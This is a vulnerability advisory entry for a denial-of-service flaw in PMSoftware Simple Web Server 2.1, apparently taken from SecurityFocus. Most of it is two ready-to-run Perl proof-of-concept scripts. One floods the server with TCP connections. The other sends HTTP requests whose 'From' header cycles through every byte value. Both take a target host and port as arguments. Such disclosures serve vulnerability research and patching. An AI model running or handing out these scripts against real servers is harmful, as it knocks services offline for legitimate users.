1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
source: https://www.securityfocus.com/bid/42155/info PMSoftware Simple Web Server is prone to a denial-of-service vulnerability. Remote attackers can exploit this issue to cause the application to stop responding, denying service to legitimate users. Simple Web Server 2.1 is vulnerable; other versions may also be affected. #!/usr/bin/perl use IO::Socket; $ip = $ARGV[0]; $port = $ARGV[1]; $conn = $ARGV[2]; $num= 0; while ( $num <= $conn ) { system("echo -n ."); $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n"; close($s); $num++; } #!/usr/bin/perl use Net::HTTP; if (@ARGV < 1) { usage(); } $host = @ARGV[0]; $port = @ARGV[1]; $num= 0; print "[+] Sending request...\n"; while ($num <= 255) { my $s = Net::HTTP->new(Host => $host, HTTPVersion => "1.0") || die $@; $s->write_request(GET => "/", 'User-Agent' => "Mozilla/5.0", 'From' => chr($num)); $num++; close($s); } print "\n[+] Done!\n"; sub usage() { print "[-] Usage: <". $0 ."> <host> <port>\n"; print "[-] Example: ". $0 ." 127.0.0.1 80\n"; exit; } |